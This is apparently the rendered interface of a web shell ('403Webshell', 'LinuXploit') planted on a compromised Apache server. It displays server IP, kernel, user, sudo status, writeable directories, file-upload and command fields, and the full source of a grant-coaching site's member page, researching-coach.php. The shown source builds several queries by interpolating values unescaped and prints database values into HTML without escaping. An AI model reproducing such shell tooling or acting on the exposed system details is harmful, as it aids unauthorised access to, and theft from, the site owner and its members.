403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/coaching_sites/usbusinessfundingsolutions.com/member/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/coaching_sites/usbusinessfundingsolutions.com/member/researching-coach.php
<?php 

require_once($_SERVER['DOCUMENT_ROOT'].'/inc/php_header.php');
$title = 'Researching Coach'; 
$body_id = 'rchc'; 

$profiles = $db->get_results("
	SELECT id,date_entered
	FROM client_profile
	WHERE client_id = '".$db->clean($_SESSION['Client']['id'])."'
	LIMIT 1;
");
if(!empty($profiles)) {
	$profile = $profiles[0];
	$profile_id = $profile->id;
	/*if($profile->date_entered=='0000-00-00 00:00:00') {
		$my_grants = array();
		$grants = array();
	} else {*/
		$grdb_profile_id_arr = $db->get_results("SELECT profiles_id FROM grdb.grd_profiles WHERE site_code='synment' AND site_profiles_id='{$profile_id}'");
		$grdb_profile_id = $grdb_profile_id_arr[0]->profiles_id;
		
		$research_coach_arr = $db->get_results("SELECT email,ext FROM grdb.grd_users WHERE users_id=(SELECT assigned_agent FROM grdb.grd_profiles WHERE profiles_id='".$db->clean($grdb_profile_id)."')");
		$research_coach = $research_coach_arr[0]->email;
		$research_coach_phone = "(800) 858-1052 ext ".$research_coach_arr[0]->ext;
		if($research_coach=='jeremy@synergytpsreports.com') {
			$research_coach = 'example_research_coach@example.com';
			$research_coach_phone = '(555) 555-5555 ext 5';
		}
		
		$my_grants = $db->get_results("SELECT p.grants_id as id,t.name as type,g.name,g.amount,g.deadline,n.note FROM grdb.grd_grants_profiles p
		LEFT JOIN grdb.grd_grants g ON g.grants_id=p.grants_id
		LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id
		LEFT JOIN grdb.grd_grants_profiles_notes n ON g.grants_id=n.grants_id AND n.profiles_id='{$grdb_profile_id}'
		WHERE p.profiles_id='{$grdb_profile_id}'
		AND p.published='1'
		AND p.grants_id NOT IN (SELECT grants_id FROM grdb.grd_grants_profiles_ignore WHERE profiles_id='{$grdb_profile_id}' AND (interested=1 OR ignored=1 OR applied=1))");
		
		$res = $db->get_results("SELECT date_ordered FROM lc2synment_lc.lc_reseller WHERE id='".$db->clean($_SESSION['Client']['id'])."'");
		$date_ordered = $res[0]->date_ordered;
		$exec_summary_arr = $db->get_results("SELECT summary FROM grdb.grd_profiles_executive_summary WHERE profiles_id='".$db->clean($grdb_profile_id)."' AND published='1'");
		$executive_summary = (empty($exec_summary_arr)) ? 'Your coach has not completed your executive summary yet.' : $exec_summary_arr[0]->summary;
		
		$my_grants_all = $db->get_results("SELECT grants_id as id
		FROM grdb.grd_grants_profiles p
		WHERE profiles_id='{$grdb_profile_id}'
		AND published='1'");
		
		$my_grant_ids = array();
		if(!empty($my_grants_all)) {
			foreach($my_grants_all as $grant) {
				$my_grant_ids[] = $grant->id;
			}
		}
		
		$applied_for = $db->get_results("SELECT p.grants_id as id,t.name as type,g.name,g.amount,g.deadline,n.note FROM grdb.grd_grants_profiles_ignore p
		LEFT JOIN grdb.grd_grants g ON g.grants_id=p.grants_id
		LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id
		LEFT JOIN grdb.grd_grants_profiles_notes n ON g.grants_id=n.grants_id AND n.profiles_id='{$grdb_profile_id}'
		WHERE p.profiles_id='{$grdb_profile_id}' AND applied='1'");
		
		$ignored = $db->get_results("SELECT p.grants_id as id,t.name as type,g.name,g.amount,g.deadline,n.note FROM grdb.grd_grants_profiles_ignore p
		LEFT JOIN grdb.grd_grants g ON g.grants_id=p.grants_id
		LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id
		LEFT JOIN grdb.grd_grants_profiles_notes n ON g.grants_id=n.grants_id AND n.profiles_id='{$grdb_profile_id}'
		WHERE p.profiles_id='{$grdb_profile_id}' AND ignored='1'");
		
		$interested = $db->get_results("SELECT p.grants_id as id,t.name as type,g.name,g.amount,g.deadline,n.note FROM grdb.grd_grants_profiles_ignore p
		LEFT JOIN grdb.grd_grants g ON g.grants_id=p.grants_id
		LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id
		LEFT JOIN grdb.grd_grants_profiles_notes n ON g.grants_id=n.grants_id AND n.profiles_id='{$grdb_profile_id}'
		WHERE p.profiles_id='{$grdb_profile_id}' AND interested='1'");
		
		/*//get other relevant grants
		$grants = array();
		$profile_cats = array();
		$foo = $db->get_results("SELECT cat_id as id FROM lc2synment_lc.client_profile_categories WHERE cp_id='{$profile_id}'");
		if(!empty($foo)) {
			foreach($foo as $bar) {
				$profile_cats['categories'][] = $bar->id;
			}
		}
		$foo = $db->get_results("SELECT subcat_id as id FROM lc2synment_lc.client_profile_subcategories WHERE cp_id='{$profile_id}'");
		if(!empty($foo)) {
			foreach($foo as $bar) {
				$profile_cats['subcategories'][] = $bar->id;
			}
		}
		$foo = $db->get_results("SELECT min_id as id FROM lc2synment_lc.client_profile_minorities WHERE cp_id='{$profile_id}'");
		if(!empty($foo)) {
			foreach($foo as $bar) {
				$profile_cats['minorities'][] = $bar->id;
			}
		}
		$foo = $db->get_results("SELECT ind_id as id FROM lc2synment_lc.client_profile_industries WHERE cp_id='{$profile_id}'");
		if(!empty($foo)) {
			foreach($foo as $bar) {
				$profile_cats['industries'][] = $bar->id;
			}
		}
		$today = date('Y-m-d');
		if(empty($my_grant_ids)) {
			$my_grant_ids = array(0);
		}
		$profile_stuff = $db->get_results("SELECT r.state,p.gender FROM lc2synment_lc.client_profile p LEFT JOIN lc2synment_lc.lc_reseller r ON p.client_id=r.id WHERE p.id='{$profile_id}'");
		$only_where = "";
		$only_where .= ($profile_stuff[0]->state!='') ? " AND (g.only_available_state='Any' OR g.only_available_state='{$profile_stuff[0]->state}')" : '';
		$only_where .= ($profile_stuff[0]->gender!='') ? " AND (g.only_available_gender='Any' OR g.only_available_gender='{$profile_stuff[0]->gender}')" : '';
		
		foreach($profile_cats as $type=>$data) {
			$foo = $db->get_results("SELECT t.grants_id as id FROM grdb.grd_grants_{$type} t INNER JOIN grdb.grd_grants g ON t.grants_id=g.grants_id
			WHERE {$type}_id IN (".implode(',',$data).")
			AND t.grants_id NOT IN (".implode(',',$my_grant_ids).")
			AND t.grants_id NOT IN (SELECT grants_id FROM grdb.grd_grants_profiles_ignore WHERE profiles_id='{$grdb_profile_id}' AND (ignored='1' OR applied='1' OR interested='1'))
			$only_where");
			foreach($foo as $bar) {
				if(empty($grants[$bar->id])) {
					$grants[$bar->id] = 0;
				}
				$grants[$bar->id]++;
			}
		//echo '<pre>'.print_r($foo,true).'</pre>';
		}
		unset($foo);
		arsort($grants);
		
		foreach($grants as $id=>$count) {
			$info = $db->get_results("SELECT g.grants_id as id,t.name as type,g.name,g.amount,g.deadline FROM grdb.grd_grants g LEFT JOIN grdb.grd_types t ON g.types_id=t.types_id WHERE grants_id='{$id}'");
			$grants[$id] = $info[0];
			if($grants[$id]->deadline != '0000-00-00' && $grants[$id]->deadline < $today) {
				unset($grants[$id]);
			}
		}
		$grants = array_slice($grants,0,10,true);
		*/
	/*}*/
} else {
	$my_grants = array();
	$grants = array();
	$executive_summary = 'Your coach has not completed your executive summary yet.';
	$date_ordered = '0000-00-00';
}
require_once($_SERVER['DOCUMENT_ROOT'].'/member/header.php');
?>

<script type="text/javascript">
	$("document").ready(function() {
		var mygrants = [];
		<?php if(!empty($my_grant_ids)) {
			foreach($my_grant_ids as $id) { ?>
			mygrants.push('<?= $id; ?>');
		<?php }
		}?>
		$("[name=move_to]").change(move_to_change);
		function in_array(needle,haystack) {
			for(var i in haystack) {
				if(haystack[i]==needle) {
					return true;
				}
			}
			return false;
		}
		function move_to_change() {
			var data = {};
			var row = $(this).parents(".opportunities");
			var par = row.parent();
			var me = this;
			var new_options = {};
			new_options['other'] = '<option value=""></option><optgroup label="Move To"><option value="interested">Interested In</option><option value="applied">Applied For</option><option value="ignore">Ignore</option></optgroup>';
			new_options['interested'] = '<option value=""></option><optgroup label="Move To"><option value="other">Other Funding</option><option value="applied">Applied For</option><option value="ignore">Ignore</option></optgroup>';
			new_options['applied'] = '<option value=""></option><optgroup label="Move To"><option value="other">Other Funding</option><option value="interested">Interested In</option><option value="ignore">Ignore</option></optgroup>';
			new_options['ignore'] = '<option value=""></option><optgroup label="Move To"><option value="other">Other Funding</option><option value="interested">Interested In</option><option value="applied">Applied For</option></optgroup>';
			data[this.name] = $(this).val();
			$(this).siblings("input").each(function() {
				data[this.name] = this.value;
			});
			$(me).html(new_options[data["move_to"]]);
			if(data["move_to"]=="other") {
				if(in_array(data["grant_id"],mygrants)) {
					data["move_to"] = "my_grants";
				}
			}
			$.ajax({  
		        url: "ajax/update_research_list.php",
				type: "POST",
		        data: data,  
		        cache: false,  
		        success: function(html){
			        if(data["move_from"]=="other") {
			            $(par).append(html);
						$(par).find("[name=move_to]").change(move_to_change);
			        }
			        $('#'+data["move_to"]).find('.none_here').hide();
			        $('#'+data["move_to"]).append(row);
			        $(me).val('');
		        }
		    });
		}
		$('#btn_ask').click(function() {
			create_modal('<h2 style="margin:0px;">Ask Your Coach A Question</h2>','<div style="border-top:1px dotted #325065;margin-top:10px;padding-top:10px"><form id="ask_question_form"><div class="modal_body"><textarea id="ask_question" name="question" style="width: 500px; height: 350px"></textarea></div><input type="hidden" id="research_coach_email" name="coach_email" value="<?= $research_coach;?>" /><center><input id="ask_question_submit" type="submit" value="" /></center></form></div>');
			$('#ask_question_form').submit(function() {
				$('#ask_question_submit').attr('disabled','disabled');
				var data = {};
				data['question'] = encodeURIComponent($('#ask_question').val());
				data['research_coach'] = encodeURIComponent($('#research_coach_email').val());
				$.ajax({  
			        url: "ajax/send_research_question.php",
					type: "POST",
			        data: data,
			        cache: false,  
			        success: function(html){
				        //if(html=='success') {
					        $('#ask_question_form').html("<p style='width:500px;'>Your question has been submitted. Please allow 24-48 hours for a response.</p>");
				        //} else {
					    //   $('#ask_question_form').html("<p style='width:500px;'>There was a problem sending your question. Please try again later.</p>");
				        //}
			        },
			        error: function(e) {
						$('#ask_question_form').html("<p style='width:500px;'>Your question has been submitted. Please allow 24-48 hours for a response.</p>");
				        //$('#ask_question_form').html("<p style='width:500px;'>There was a problem sending your question. Please try again later.</p>");
			        }
			    });
			    return false;
			});
		});
	});
	function close_modal() {
		$('.overlay,.modal').remove();
	}
	function create_modal(modal_title,modal_body) {
		var modal = document.createElement('div');
		var overlay = document.createElement('div');
		overlay.className = 'overlay';
		modal.className = 'modal';
		$(modal).html('<div class="modal_frame"><div class="modal_close" title="Close"></div>'+modal_title+''+modal_body+'</div>');
		$(overlay).click(function() {
			$(modal).remove();
			$(overlay).remove();
		});
		$('body').append(overlay);
		$('body').append(modal);
		$(modal).css('display','inline-block');
		var height = $(window).height();
		var width = $(window).width();
		$(overlay).css({'position': 'fixed', 'top': '0px', 'left': '0px', 'width': width, 'height': height, 'background': 'black', 'z-index': '1000', 'opacity': '.75'});
		var left = ($(window).width() - $(modal).width())/2;
		var top = ($(window).height() - $(modal).height())/2;
		$(modal).css({'position': 'fixed', 'left': left, 'top': top, 'z-index': '1001'});
		$('.modal_close').click(function() {
			$(modal).remove();
			$(overlay).remove();
		});
	}
	function viewFunding(url) {
		//if(window.innerWidth<=850 || window.innerHeight<=650) {
			window.open(url);
		//} else {
		//	create_modal('<h2 style="margin:0px;">View Funding</h2>','<iframe style="width:800px;height:600px;border-top:1px dotted #325065;margin-top:10px;padding-top:10px" frameborder="none" src="'+url+'"></iframe>');
		//}
	}
</script>
<style type="text/css">
<!--
#my_grants, #interested, #applied, #ignore, #executive	{width:900px}
#content table td table td	{padding:10px}
.header	{float:left; width:100%}
.opportunities	{margin:1px; padding:3px; background-color:#f8f8f8; float:left; border:1px solid #cdce71 height:24px}
.opportunities td, .opportunities a, .opportunities div, .button, th	{font:8pt/150% verdana}
td	{padding-top:2px}
th	{text-transform:uppercase; text-align:left}
.opportunities a {text-decoration:none !important; color:#71b633 !important}
.opportunities a:link, .opportunities a:visited	{border-bottom:1px dotted #f8f8f8} 
.opportunities a:hover, .opportunities a:active	{border-bottom:1px dotted #89dd3e} 
.button	{background:url(images/btn_sort.png) 0 0 no-repeat; width:80px !important; height:22px !important; padding-top:0px; cursor:pointer; text-align:center}
-->
</style>
            <div id="content" class="size">
            	<table cellspacing="0" cellpadding="0" border="0" class="size">
                	<tr>
                    	<td width="900px">
                        	<img src="images/img_research.jpg" style="float:left" />
                        	<h1>Researching Coach</h1>
                            <h2>Ask Your Coach a Question</h2>
                            <p style="padding:15px">You will be assigned a Research Coach who will direct your search for funding. <?php if(strtotime($date_ordered) <= strtotime('2019-08-29')) { ?> They will provide an executive summary outlining the best route for you to take to get the funding you are seeking. <?php } ?> They research and locate new funding sources for you to apply to.</p>
                            <div id="btn_ask" class="btnGreen" style="float:left; clear:right; width:220px; height:47px; line-height:47px; text-align:center; color:#fff; padding:0 30px; margin:10px 30px 10px 80px; cursor:pointer">SUBMIT QUESTION</div>
                            <center><a id="btn_ask" href="#"><?= $research_coach_phone;?></a></center>
							<?php if(strtotime($date_ordered) <= strtotime('2019-08-29')) { ?>
						    <table cellpadding="15" style="border:2px dotted #aeedff; float:left; margin:0 0 10px 0; min-height:300px">
                                <tr>
                                    <td id="executive">
                                        <h2>Executive Research Summary</h2>
                                        <p><?= $executive_summary;?></p>    
                                    </td>                                
                                </tr>
                            </table>
							<?php } ?>
                            <table cellpadding="15" style="border:2px dotted #6594cd; background-color:#e6eef2; float:left; margin:10px 0; min-height:300px">
                                <tr>
                                    <td id="my_grants">
                                        <?php if(empty($my_grants)) {?>
                                        <h2>Funding Your Professional Selected for You</h2>
                                        <p class="none_here">Sorry, your coach has not found any funding opportunities for you yet.</p>
                                        <?php } else {?>
                                        <h2>Funding Your Coach Selected for You</h2>
                                            <table class="header">
                                                <tr>
                                                    <th width="10%">Type</th>
                                                    <th width="30%">Description</th>
                                                    <th width="10%">Amount</th>
                                                    <th width="10%">Deadline</th>
                                                    <th width="30%">Notes</th>
                                                    <th width="10%">Action</th>
                                                </tr>
                                            </table>
                                            <?php foreach($my_grants as $grant) {?>
                                                <table class="opportunities">
                                                    <tr>
                                                        <td width="10%"><img src="images/icon_<?= strtolower($grant->type);?>.png" title="<?= $grant->type;?>" /></td>
                                                        <td width="30%"><div style="overflow:hidden; height:18px"><a onclick="viewFunding('view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>'); return false;" href="view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>" target="_blank"><?= (strlen($grant->name)>40) ? substr(ucwords(stripslashes($grant->name)),0,40).'...' : ucwords(stripslashes($grant->name));?></a></div></td>
                                                        <td width="10%"><?= ($grant->amount)=='0.00' ? 'Varies' : '$'.$grant->amount;?></td>
                                                        <td width="10%"><?= ($grant->deadline=='0000-00-00') ? 'No Deadline' : ((strtotime($grant->deadline) <= strtotime(date('Y-m-d'))) ? '<span class="error">'.$grant->deadline.'</span>' : $grant->deadline);?></td>
                                                        <td width="30%"><?= stripslashes($grant->note); ?></td>
                                                        <td width="10%">
                                                            <form>
                                                                <input type="hidden" name="move_from" value="other" />
                                                                <input type="hidden" name="grant_id" value="<?= $grant->id;?>" />
                                                                <select name="move_to">
                                                                    <option value=""></option>
                                                                    <optgroup label="Move To">
                                                                    <option value="interested">Interested In</option>
                                                                    <option value="applied">Applied For</option>
                                                                    <option value="ignore">Ignored</option>
                                                                    </optgroup>
                                                                </select>
                                                            </form>
                                                        </td>
                                                    </tr>
                                                </table>
                                            <?php }?>
                                        <?php }?>
                                    </td>                                
                                </tr>
                            </table>
                            <?php /*
                            <?= ($profile->date_entered=='0000-00-00 00:00:00') ? '<p class="error">Please fill out your <a href="account.php">profile</a> so that our researchers can find funding that better suites your needs.</p>' : ""; ?>
                            <table cellpadding="15" style="border:2px solid #cd94cd; background-color:#ede2ed; float:left; margin:10px 0; min-height:300px">
                                <tr>
                                    <td id="other">
                                        <?php if(empty($grants)) {?>
                                        <h2>Other Funding Opportunities <span class="italic">(Based on Your Profile Answers)</span></h2>
                                        <h3>To change the answers on your profile, which will change the funding listing below, <a href="account.php">Update Your Profile</a></h3>
                                            <p class="none_here">Sorry, no funding programs matched with your profile.</p>
                                        <?php } else {?>
                                        <!-- <table style="float:right; margin:10px 280px 0 0">
                                            <tr>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Type</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Funding</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Date</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">View All</td>
                                            </tr>
                                        </table> -->
                                        <h2>Other Funding Opportunities <span class="italic">(Based on Your Profile Answers)</span></h2>
                                        <h3>To change the answers on your profile, which will change the funding listing below, <a href="account.php">Update Your Profile</a></h3>
                                            <table class="header">
                                                <tr>
                                                    <th width="10%">Type</th>
                                                    <th width="30%">Description</th>
                                                    <th width="10%">Amount</th>
                                                    <th width="10%">Deadline</th>
                                                    <th width="30%">Notes</th>
                                                    <th width="10%">Action</th>
                                                </tr>
                                            </table>
                                            <?php foreach($grants as $grant) {?>
                                                <table class="opportunities">
                                                    <tr>
                                                        <td width="10%"><img src="images/icon_<?= strtolower($grant->type);?>.png" title="<?= $grant->type;?>" /></td>
                                                        <td width="30%"><div style="overflow:hidden; height:18px"><a onclick="viewFunding('view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>'); return false;" href="view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>" target="_blank"><?= (strlen($grant->name)>40) ? substr(ucwords(stripslashes($grant->name)),0,40).'...' : ucwords(stripslashes($grant->name));?></a></div></td>
                                                        <td width="10%"><?= ($grant->amount)=='0.00' ? 'Varies' : '$'.$grant->amount;?></td>
                                                        <td width="10%"><?= ($grant->deadline=='0000-00-00') ? 'No Deadline' : ((strtotime($grant->deadline) <= strtotime(date('Y-m-d'))) ? '<span class="error">'.$grant->deadline.'</span>' : $grant->deadline);?></td>
                                                        <td width="30%"><?= stripslashes($grant->note); ?></td>
                                                        <td width="10%">
                                                            <form>
                                                                <input type="hidden" name="move_from" value="other" />
                                                                <input type="hidden" name="grant_id" value="<?= $grant->id;?>" />
                                                                <select name="move_to">
                                                                    <option value=""></option>
                                                                    <optgroup label="Move To">
                                                                    <option value="interested">Interested In</option>
                                                                    <option value="applied">Applied For</option>
                                                                    <option value="ignore">Ignored</option>
                                                                    </optgroup>
                                                                </select>
                                                            </form>
                                                        </td>
                                                    </tr>
                                                </table>
                                            <?php }?>
                                        <?php }?>
                                    </td>                                
                                </tr>
                            </table>
                            */ ?>
                            <table cellpadding="15" style="border:2px dotted #8c8745; background-color:#e5ddce; float:left; margin:10px 0; min-height:300px">
                                <tr>
                                    <td id="interested">
                                        <?php if(empty($interested)) {?>
                                        <h2>Funding I Am Interested In</h2>
                                            <p class="none_here">You have not moved any funding opportunites to this area yet.</p>
                                        <?php } else {?>
                                        <!-- <table style="float:right; margin:10px 280px 0 0">
                                            <tr>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Type</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Funding</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Date</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">View All</td>
                                            </tr>
                                        </table> -->
                                        <h2>Funding I Am Interested In</h2>
                                            <table class="header">
                                                <tr>
                                                    <th width="10%">Type</th>
                                                    <th width="30%">Description</th>
                                                    <th width="10%">Amount</th>
                                                    <th width="10%">Deadline</th>
                                                    <th width="30%">Notes</th>
                                                    <th width="10%">Action</th>
                                                </tr>
                                            </table>
                                            <?php foreach($interested as $grant) {?>
                                                <table class="opportunities">
                                                    <tr>
                                                        <td width="10%"><img src="images/icon_<?= strtolower($grant->type);?>.png" title="<?= $grant->type;?>" /></td>
                                                        <td width="30%"><div style="overflow:hidden; height:18px"><a onclick="viewFunding('view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>'); return false;" href="view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>" target="_blank"><?= (strlen($grant->name)>40) ? substr(ucwords(stripslashes($grant->name)),0,40).'...' : ucwords(stripslashes($grant->name));?></a></div></td>
                                                        <td width="10%"><?= ($grant->amount)=='0.00' ? 'Varies' : '$'.$grant->amount;?></td>
                                                        <td width="10%"><?= ($grant->deadline=='0000-00-00') ? 'No Deadline' : ((strtotime($grant->deadline) <= strtotime(date('Y-m-d'))) ? '<span class="error">'.$grant->deadline.'</span>' : $grant->deadline);?></td>
                                                        <td width="30%"><?= stripslashes($grant->note); ?></td>
                                                        <td width="10%">
                                                            <form>
                                                                <input type="hidden" name="move_from" value="interested" />
                                                                <input type="hidden" name="grant_id" value="<?= $grant->id;?>" />
                                                                <select name="move_to">
                                                                    <option value=""></option>
                                                                    <optgroup label="Move To">
                                                                    <option value="other">Other Funding</option>
                                                                    <option value="applied">Applied For</option>
                                                                    <option value="ignore">Ignored</option>
                                                                    </optgroup>
                                                                </select>
                                                            </form>
                                                        </td>
                                                    </tr>
                                                </table>
                                            <?php }?>
                                        <?php }?>
                                    </td>                                
                                </tr>
                            </table>
                            <table cellpadding="15" style="border:2px dotted #6e9147; background-color:#d8e5ce; float:left; margin:10px 0; min-height:300px">
                                <tr>
                                    <td id="applied">
                                        <?php if(empty($applied_for)) {?>
                                        <h2>Funding I Applied For</h2>
                                            <p class="none_here">You have not moved any funding opportunites to this area yet.</p>
                                        <?php } else {?>
                                        <!-- <table style="float:right; margin:10px 280px 0 0">
                                            <tr>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Type</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Funding</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Date</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">View All</td>
                                            </tr>
                                        </table> -->
                                        <h2>Funding I Applied For</h2>
                                            <table class="header">
                                                <tr>
                                                    <th width="10%">Type</th>
                                                    <th width="30%">Description</th>
                                                    <th width="10%">Amount</th>
                                                    <th width="10%">Deadline</th>
                                                    <th width="30%">Notes</th>
                                                    <th width="10%">Action</th>
                                                </tr>
                                            </table>
                                            <?php foreach($applied_for as $grant) {?>
                                                <table class="opportunities">
                                                    <tr>
                                                        <td width="10%"><img src="images/icon_<?= strtolower($grant->type);?>.png" title="<?= $grant->type;?>" /></td>
                                                        <td width="30%"><div style="overflow:hidden; height:18px"><a onclick="viewFunding('view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>'); return false;" href="view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>" target="_blank"><?= (strlen($grant->name)>40) ? substr(ucwords(stripslashes($grant->name)),0,40).'...' : ucwords(stripslashes($grant->name));?></a></div></td>
                                                        <td width="10%"><?= ($grant->amount)=='0.00' ? 'Varies' : '$'.$grant->amount;?></td>
                                                        <td width="10%"><?= ($grant->deadline=='0000-00-00') ? 'No Deadline' : ((strtotime($grant->deadline) <= strtotime(date('Y-m-d'))) ? '<span class="error">'.$grant->deadline.'</span>' : $grant->deadline);?></td>
                                                        <td width="30%"><?= stripslashes($grant->note); ?></td>
                                                        <td width="10%">
                                                            <form>
                                                                <input type="hidden" name="move_from" value="applied" />
                                                                <input type="hidden" name="grant_id" value="<?= $grant->id;?>" />
                                                                <select name="move_to">
                                                                    <option value=""></option>
                                                                    <optgroup label="Move To">
                                                                    <option value="other">Other Funding</option>
                                                                    <option value="interested">Interested In</option>
                                                                    <option value="ignore">Ignored</option>
                                                                    </optgroup>
                                                                </select>
                                                            </form>
                                                        </td>
                                                    </tr>
                                                </table>
                                            <?php }?>
                                        <?php }?>
                                    </td>                                
                                </tr>
                            </table>
                            <table cellpadding="15" style="border:2px dotted #9d884d; background-color:#e1cbcb; float:left; margin:10px 0; min-height:300px">
                                <tr>
                                    <td id="ignore">
                                        <?php if(empty($ignored)) {?>
                                        <h2>Funding I Ignored</h2>
                                            <p class="none_here">You have not moved any funding opportunites to this area yet.</p>
                                        <?php } else {?>
                                        <!-- <table style="float:right; margin:10px 280px 0 0">
                                            <tr>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Type</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Funding</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">Date</td>
                                                <td class="button" onmouseover="this.style.backgroundPosition='0px 1px'; this.style.paddingTop='1px'" onmouseout="this.style.backgroundPosition='0 0'; this.style.paddingTop='0'">View All</td>
                                            </tr>
                                        </table> -->
                                        <h2>Funding I Ignored</h2>
                                            <table class="header">
                                                <tr>
                                                    <th width="10%">Type</th>
                                                    <th width="30%">Description</th>
                                                    <th width="10%">Amount</th>
                                                    <th width="10%">Deadline</th>
                                                    <th width="30%">Notes</th>
                                                    <th width="10%">Action</th>
                                                </tr>
                                            </table>
                                            <?php foreach($ignored as $grant) {?>
                                                <table class="opportunities">
                                                    <tr>
                                                        <td width="10%"><img src="images/icon_<?= strtolower($grant->type);?>.png" title="<?= $grant->type;?>" /></td>
                                                        <td width="30%"><div style="overflow:hidden; height:18px"><a onclick="viewFunding('view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>'); return false;" href="view-funding.php?funding_id=<?= $grant->id?>&profile_id=<?= $grdb_profile_id;?>" target="_blank"><?= (strlen($grant->name)>40) ? substr(ucwords(stripslashes($grant->name)),0,40).'...' : ucwords(stripslashes($grant->name));?></a></div></td>
                                                        <td width="10%"><?= ($grant->amount)=='0.00' ? 'Varies' : '$'.$grant->amount;?></td>
                                                        <td width="10%"><?= ($grant->deadline=='0000-00-00') ? 'No Deadline' : ((strtotime($grant->deadline) <= strtotime(date('Y-m-d'))) ? '<span class="error">'.$grant->deadline.'</span>' : $grant->deadline);?></td>
                                                        <td width="30%"><?= stripslashes($grant->note); ?></td>
                                                        <td width="10%">
                                                            <form>
                                                                <input type="hidden" name="move_from" value="ignore" />
                                                                <input type="hidden" name="grant_id" value="<?= $grant->id;?>" />
                                                                <select name="move_to">
                                                                    <option value=""></option>
                                                                    <optgroup label="Move To">
                                                                    <option value="other">Other Funding</option>
                                                                    <option value="interested">Interested In</option>
                                                                    <option value="applied">Applied For</option>
                                                                    </optgroup>
                                                                </select>
                                                            </form>
                                                        </td>
                                                    </tr>
                                                </table>
                                            <?php }?>
                                        <?php }?>
                                    </td>                                
                                </tr>
                            </table>
                        </td>
                    </tr>
                </table>
            </div>

<?php require_once($_SERVER['DOCUMENT_ROOT'].'/member/footer.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit